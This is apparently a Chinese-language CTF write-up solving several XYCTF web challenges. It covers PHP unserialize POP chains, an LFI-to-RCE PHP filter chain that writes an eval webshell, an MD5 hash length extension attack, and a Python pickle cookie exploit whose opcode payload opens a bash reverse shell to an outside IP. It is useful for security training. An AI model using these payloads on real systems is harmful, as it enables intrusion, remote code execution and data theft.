1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php class  A     public  $mack ; } class  B      public  $luo ; } class  C      public  $wang1 ; } class  D      public  $lao ;     public  $chen ; } class  E      public  $name  ;     public  $num ; } $a  = new  E ();$a  -> num = new  D ();$a  -> name = '' ;$a  -> num -> lao = new  B ();$a  -> num -> lao -> luo = new  A ();$a  -> num -> lao -> luo -> mack = new  C ();echo  urlencode (serialize ($a ));
然后拿到saber_master_saber_master.php,继续
level3 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 <?php error_reporting (0 );highlight_file (__FILE__ );class  XYCTFNO1     public  $Liu ;     public  $T1ng ;     private  $upsw1ng ;     public  function  __construct ($Liu , $T1ng , $upsw1ng  = Showmaker      {        $this ->Liu = $Liu ;         $this ->T1ng = $T1ng ;         $this ->upsw1ng = $upsw1ng ;     } } class  XYCTFNO2     public  $crypto0 ;     public  $adwa ;     public  function  __construct ($crypto0 , $adwa       {        $this ->crypto0 = $crypto0 ;     }     public  function  XYCTF (      {        if  ($this ->adwa->crypto0 != 'dev1l'  or  $this ->adwa->T1ng != 'yuroandCMD258' ) {             return  False;         } else  {             return  True;         }     } } class  XYCTFNO3     public  $KickyMu ;     public  $fpclose ;     public  $N1ght  = "Crypto0" ;     public  function  __construct ($KickyMu , $fpclose       {        $this ->KickyMu = $KickyMu ;         $this ->fpclose = $fpclose ;     }     public  function  XY (      {        if  ($this ->N1ght == 'oSthing' ) {             echo  "WOW, You web is really good!!!\n" ;             echo  new  $_POST ['X' ]($_POST ['Y' ]);         }     }     public  function  __wakeup (      {        if  ($this ->KickyMu->XYCTF ()) {             $this ->XY ();         }     } } if  (isset ($_GET ['CTF' ])) {    unserialize ($_GET ['CTF' ]); } 
这里的话需要在XYCTFNO1类中添加一个属性crypto0
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php class  XYCTFNO1     public  $Liu ;     public  $T1ng ;     private  $upsw1ng ;     public  $crypto0 ="dev1l" ; } class  XYCTFNO2     public  $crypto0 ;     public  $adwa ; } class  XYCTFNO3     public  $KickyMu ;     public  $fpclose ;     public  $N1ght  = "oSthing" ; } $a  = new  XYCTFNO3 ();$a  -> KickyMu = new  XYCTFNO2 ();$a  -> KickyMu -> adwa = new  XYCTFNO1 ();$a  -> KickyMu -> adwa ->T1ng = "yuroandCMD258" ;echo  serialize ($a );
记得在private属性的属性名加上%00
然后有new $_POST['X']($_POST['Y']);,这里的话用原生类去读取文件就行
#原生类SplFileObject读取文件 这里用php原生类SplFileObject读/flag
SplFileObject 类中的fgets和fread方法都可以读文件,尽管这些方法没有参数,但是filename文件名是在类中确定的,所以直接传文件名就行
但是这里直接传flag.php不行,可能会解析,配合伪协议读就行
因为这里会解析,所以当然也可以写马
1 2 3 GET:?CTF=O%3A8%3A%22XYCTFNO3%22%3A3%3A%7Bs%3A7%3A%22KickyMu%22%3BO%3A8%3A%22XYCTFNO2%22%3A2%3A%7Bs%3A7%3A%22crypto0%22%3BN%3Bs%3A4%3A%22adwa%22%3BO%3A8%3A%22XYCTFNO1%22%3A4%3A%7Bs%3A3%3A%22Liu%22%3BN%3Bs%3A4%3A%22T1ng%22%3Bs%3A13%3A%22yuroandCMD258%22%3Bs%3A17%3A%22%00XYCTFNO1%00upsw1ng%22%3BN%3Bs%3A7%3A%22crypto0%22%3Bs%3A5%3A%22dev1l%22%3B%7D%7Ds%3A7%3A%22fpclose%22%3BN%3Bs%3A5%3A%22N1ght%22%3Bs%3A7%3A%22oSthing%22%3B%7D POST: X=SplFileObject&Y=php://filter/read=convert.base64-encode/resource=flag.php 
ezLFI #filter链RCE 附件中有
1 <?php include_once($_REQUEST['file']); 
文件包含
成功实现任意文件读取,可以打filter链实现RCE
1 2 3 4 5 6 7 8 9 10 11 12 root@VM-16-12-ubuntu:/opt/php_filter_chain_RCE/php_filter_chain_generator# python3 php_filter_chain_generator.py -h usage: php_filter_chain_generator.py [-h] [--chain CHAIN] [--rawbase64 RAWBASE64] PHP filter chain generator. options:   -h, --help            show this help message and exit   --chain CHAIN         Content you want to generate. (you will maybe need to pad with spaces for                         your payload to work)   --rawbase64 RAWBASE64                         The base64 value you want to test, the chain will be printed as base64 by                         PHP, useful to debug. 
用phpinfo试一下
1 python3 php_filter_chain_generator.py --chain '<?php @eval($_POST['cmd']);?>' 
传入
1 ?file=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp 
成功RCE,那就试着写马
1 2 3 4 5 GET: ?file=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp POST: cmd=system('cat /flag'); 
但是发现读取flag没读出来,看到一个readflag,运行一下
1 cmd=system('/readflag'); 
然后就读出来了
后来发现readflag是一个c文件,这个文件可以读取并输出flag的值,所以直接运行就完事了
连连看到底是连连什么看 点击about看到一个参数file,测一下/etc/passwd看看有没有任意文件读取,发现出来一个文件what’s_this.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php highlight_file (__FILE__ );error_reporting (0 );$p =$_GET ['p' ];if (preg_match ("/http|=|php|file|:|\/|\?/i" , $p )){     die ("waf!" ); } $payload ="php://filter/$p /resource=/etc/passwd" ;if (file_get_contents ($payload )==="XYCTF" ){    echo  file_get_contents ('/flag' ); } 
其实和刚刚的题目一样的,用脚本生成一下XYCTF
但是发现这里的强比较,以为着我们必须让内容完全为XYCTF
原先的payload
1 ?p=convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp 
算了看不懂,看别人的wp吧
1 ?p=convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|convert.base64-decode|convert.base64-decode 
give me flag 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php include ('flag.php' );$FLAG_md5  = md5 ($FLAG );if (!isset ($_GET ['md5' ]) || !isset ($_GET ['value' ])){     highlight_file (__FILE__ );     die ($FLAG_md5 ); } $value  = $_GET ['value' ];$md5  = $_GET ['md5' ];$time  = time ();if (md5 ($FLAG .$value .$time )===$md5 ){     echo  "yes, give you flag: " ;     echo  $FLAG ; } 31 b81f48a29befbbe01d322512a8a100
哈希长度拓展攻击https://ciphersaw.me/2017/11/12/hash-length-extension-attack/,emmm看不懂,直接用工具一把梭了 
工具:https://github.com/shellfeel/hash-ext-attack 
1 2 3 4 5 6 7 8 9 10 11 root@dkhkdmY30sV7Pxs8awAZ:/opt/hash-ext-attack# python3 hash_ext_attack.py  2025-07-16 07:34:47.220 | DEBUG    | common.md5_manual:__init__:17 - init...... 请输入已知明文: 请输入已知hash : 31b81f48a29befbbe01d322512a8a100 请输入扩展字符: 1752651375 请输入密钥长度:43 2025-07-16 07:36:51.547 | INFO     | common.HashExtAttack:run:65 - 已知明文:b''  2025-07-16 07:36:51.548 | INFO     | common.HashExtAttack:run:66 - 已知hash :b'31b81f48a29befbbe01d322512a8a100'  2025-07-16 07:36:51.548 | INFO     | common.HashExtAttack:run:68 - 新明文:b'\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00X\x01\x00\x00\x00\x00\x00\x001752651375'  2025-07-16 07:36:51.549 | INFO     | common.HashExtAttack:run:69 - 新明文(url编码):%80%00%00%00%00%00%00%00%00%00%00%00%00X%01%00%00%00%00%00%001752651375 2025-07-16 07:36:51.549 | INFO     | common.HashExtAttack:run:71 - 新hash :26c02b957a2e0467a3eeaa52823fa233 
然后用脚本爆一下
1 2 3 4 5 6 7 8 9 10 import  requestsurl = "http://gz.imxbt.cn:20960/?md5=cc2131f5409a81b2fcf18102b8d0e07e&value=%80%00%00%00%00%00%00%00%00%00%00%00%00X%01%00%00%00%00%00%00"  while  True :    r = requests.get(url)     if  "yes, give you flag"  in  r.text:         print (r.text)         exit(0 ) 
baby_unserialize 源码中有<!--try /ser-->,访问看看
一个base64的反序列化口子,但是不知道参数,分别用get和post传看看
看到payload就是参数了,盲猜一手java反序列化,先用URLDNS看看能不能出网
login 有一个register.php路由,注册后登录进去发现没东西,但是在cookie中发现一个RememberMe的cookie
1 gASVOQAAAAAAAACMA2FwcJSMBUxvZ2lulJOUKYGUfZQojARuYW1llIwFYWRtaW6UjANwd2SUjAhhZG1pbjEyM5R1Yi4= 
有东西,然后看到是python,一坨AAAA,猜测这里是pickle的特征,估计是dumps之后并进行base64加密的cookie
写一个test试一下
1 2 3 4 5 6 7 8 9 10 11 import  base64import  pickleimport  osclass  test  :    def  __reduce__ (self ):         command = r"whoami"          return  (os.system,(command,)) a = test() test = pickle.dumps(a) print (base64.b64encode(test))
但是传进去后提示waf,估计是__reduce__被过滤了,那我们写字节码吧
1 2 3 4 5 6 7 8 import  base64payload = '''cos  system (S"whoami" tR. ''' print (base64.b64encode(payload.encode()))
发现还是不行,估计还过滤了东西,最后测出来过滤了system和import等,用popen吧
1 2 3 4 5 6 7 import  base64opcode = b'''(S'bash -c "bash -i >& /dev/tcp/124.223.25.186/2333 0>&1"'  ios popen .''' print (base64.b64encode(opcode))
传入后发现返回5,那就直接反弹shell
先看看源码吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 import  hashlibimport  osimport  pickleimport  base64import  hashlibfrom  flask import  Flask,request,session,render_template,redirect,make_responseclass  Login :    def  __init__ (self,name,pwd ):         self .name = name         self .pwd = pwd def  checkLogin (users,name,pwd ):    for  user in  users:         if  user.name == name and  user.pwd == user.pwd:             return  True      return  False  def  getUserclass (users,name,pwd ):    for  user in  users:         if  user.name == name and  user.pwd == user.pwd:             return  user     return  None  def  waf (data ):    if  b'R'  in  data or  b'r'  in  data:         return  False      return  True    app=Flask(__name__) users = [] @app.route('/' ,methods=['GET' ,'POST' ] @app.route('/index.php' ,methods=['GET' ,'POST' ] def  index ():    try :         RememberMe = request.cookies.get('RememberMe' )         print (RememberMe)         pickle_data = base64.b64decode(RememberMe)         print (pickle_data)         if  waf(pickle_data):             print (pickle_data)             user_class = pickle.loads(pickle_data)                          return  "hello world!  {}" .format (user_class.name)         else :             return  "waf!!!!"            except :         return  redirect("login.php" )      @app.route('/login.php' ,methods=['GET' ,'POST' ] def  login ():    if  request.method=="POST"  and  (username:=request.form.get('username' )) and  (password:=request.form.get('password' )):         if  type (username)==str  and  type (password)==str  and  checkLogin(users,username,password):             user_class = getUserclass(users,username,password)             RememberMe = base64.b64encode(pickle.dumps(user_class))             res=make_response("Login success! <a href='/'>Click here to redirect.</a>" );             res.set_cookie('RememberMe' ,RememberMe.decode('utf-8' ))             return  res         else :             return  "Login fail!"      return  render_template("login.html" ) @app.route('/register.php' ,methods=['GET' ,'POST' ] def  register ():    if  request.method=="POST"  and  (username:=request.form.get('username' )) and  (password:=request.form.get('password' )):         if  type (username)==str  and  type (password)==str :             for  user in  users:                 if  user.name == username:                     return  "Register fail!"              users.append(Login(username,password))             return  "Register successs! Your username is {username}." .format (username=username)         else :             return  "Register fail!"      return  render_template("register.html" )      if  __name__ == '__main__' :    app.run(host='0.0.0.0' , port=8000 )